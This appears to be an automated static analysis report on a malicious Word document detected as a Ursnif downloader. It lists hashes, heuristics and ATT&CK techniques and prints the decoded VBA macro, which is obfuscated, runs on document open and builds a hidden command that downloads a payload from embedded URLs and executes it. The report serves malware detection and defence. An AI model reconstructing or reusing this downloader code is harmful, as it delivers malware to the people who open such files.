Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ac4491dc06bf5cc…

MALICIOUS

Office (OLE)

71.9 KB Created: 2018-09-10 14:38:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 913123f70c0e0cc7ba76008038315c03 SHA-1: 653d56ecfc05bddc3272d64372a1b649871d6c8b SHA-256: 2ac4491dc06bf5ccc5585793fd2a6f435d532c6ad4b003a79a16864323123b5f
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro executes a Shell() command, which is a common technique for downloading and executing secondary payloads. The ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3' suggests a downloader family, but specific attribution is not possible from the provided evidence. The macro's obfuscated string concatenation makes precise reconstruction of the executed command difficult, but the presence of Shell() is a high-confidence indicator of malicious intent.

Heuristics 5

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6032 bytes
SHA-256: 567e3dea49fa709e4ea6690fc5d311ef2ddc6233c050ece11fa789687edf0664
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wCRozQz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   Second "Qf" + "zB"
   Second "436022369" + "M" + "6808" + "RSsU"
   Second "7106675" + "1117" + "TSjFIAwJ" + "MEN"
   Second "8701" + "wj" + "67008186" + "Gf"
Shell IGJPj + wkSVJlFd + VWdQQbw, CStr(vbHide)
   Second "278343728" + "MEzoDDYdUSbbqB"
   Second "KQjEQpju" + "pSmVNX"
   Second "UFcGUwukE" + "mmEQwTfwPXDi" + "3789" + "6153"
End Sub



Attribute VB_Name = "EHNklHGuCu"
Function IGJPj()

On _
Error _
Resume _
Next
Second "503268127" + "236682920"
   Second "NfoC" + "106754229"
   Second "v" + "4299"
   Second "4161" + "DjvIjcmjEj" + "COPiu" + "qqNp"
   Second "v" + "72592503" + "HLRB" + "225596776"
ajpWAJZSa = Format(Chr(17 + 4 + 0 + 9 + 69)) + "md /V^" + ":/" + Format(Chr(11 + 3 + 0 + 6 + 47)) + Format(Chr(5 + 1 + 0 + 2 + 26)) + "^" + "se^t p^" + "H=^  " + " " + "^ " + "^ " + " ^ " + "^" + " " + "  ^  " + " "
Second "Oiat" + "bCNRjFDumItNS"
   Second "6417" + "PCn"
zjLfN = "^  " + "  " + "^}^}^{h" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "ta" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "^};" + "^ka" + "^" + "er^b^" + ";" + "Ws"
Second "425648761" + "zVOaoa" + "vCsbCYfIDjMGrw" + "ElbjvnfLr"
   Second "XdjwrrfFzkQ" + "KupSL" + "358254665" + "avPX"
   Second "108590028" + "77765300" + "dzE" + "KQqBDP"
azRRLj = "^" + "z^$ ^m" + "e^t^I^" + "-^e^" + "kovnI" + ";" + ")^Ws^" + "z" + "^$^ ,^P" + "j"
Second "ErV" + "168850858"
   Second "5058" + "zun"
   Second "pFVTs" + "cWzKP" + "smAuiu" + "Ov"
   Second "qGbFUiXYdJi" + "Zp" + "wkbsBqMjziarQz" + "6914"
QzAoZ = "^H$" + "(^eli^F" + "d^a^" + "o" + "^ln^woD" + ".^os" + "w^$" + "{yrt" + "{)W^E" + Format(Chr(11 + 3 + 0 + 6 + 47)) + "$ n" + "^i^ ^Pj" + "^H"
Second "FUMi" + "506346475" + "vD" + "tBPF"
   Second "wRiM" + "449525267" + "KHsbl" + "LJXbEmvinCr"
   Second "XcXunHYEF" + "TILk" + "ZTA" + "FZXpLwm"
   Second "tR" + "6271" + "2363" + "ETzo"
   Second "406857403" + "2451"
PWCzqzLQzJ = "^$(" + "h" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "aero^" + "f;'" + "ex^e." + "^'^+b"
IGJPj = ajpWAJZSa + zjLfN + azRRLj + QzAoZ + PWCzqzLQzJ
   Second "972" + "sF" + "mMwAdVKnv" + "oLvr"
   Second "426358208" + "42440326"
End Function
Function wkSVJlFd()

On _
Error _
Resume _
Next
Second "sr" + "tHf" + "2426" + "coozPmbu"
   Second "a" + "ErrXT" + "9785" + "pdhGXSLHN"
TWOJcjS = "^B^" + "P$^+^'" + "\" + "^'+" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "i^lb^u^" + "p:vne$" + "=^Ws^z" + "^$^;^'" + "^26^5^"
Second "tEQIAjW" + "jcNR" + "68612926" + "pL"
   Second "NATztSCKVRVm" + "Zbf" + "JW" + "w"
   Second "6086" + "AdT"
mwIiKjw = "'^" + " ^" + "= ^b" + "B" + "P^$;" + ")^" + "'@" + "'(^t^i^" + "l^p"
Second "4298" + "7323" + "AhH" + "Rzzulz"
   Second "zi" + "392533902"
aQETzc = "S" + ".^'Mt^P" + "^" + "l^T^hJ/" + "m^o" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "^.er^i"
Second "16063317" + "X" + "15400244" + "m"
   Second "Kjmw" + "464808489" + "zzZ" + "438097873"
   Second "kNRrZb" + "30592927"
   Second "382" + "409221481" + "uWoTUaFl" + "79069585"
   Second "9340" + "j"
   Second "2628" + "8521" + "diz" + "465191575"
biUEFjb = "^w^t^" + "sevra^h" + "//:p" + "t^" + "t^h@^u^" + "t^q^" + "FZ^4oK" + "^X" + "/^mo" + Format(Chr(17 + 4 + 0 + 9 + 69)) + ".^" + "tn^e" + "^la" + "tl^"
Second "175940694" + "478035247"
   Second "nUvP" + "D" + "3331080" + "CJu"
   Second "jdLzjWFEwKr" + "uivHOW"
   Second "dLaRYhc" + "376273784" + "Ji" + "148726098"
jjjwizUMa = "la^sah" + "//^:p" + "^tt" + "h^" + "@^m^Qq" + "yL" + "^" + "8^Y" + "11"
Second "n" + "jSfTf" + "825" + "Z"
   Second "I" + "IG" + "Op" + "CDjOtdv"
   Second "pn" + "rzMhvpckD" + "325799766" + "408287387"
   Second "UGWu" + "8948"
KWwqDRvMz = "/^mo" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "^." + "s^s^" + "e" + Format(Chr(17 + 4 + 0 + 9 + 69)) + Format(Chr(17
... (truncated)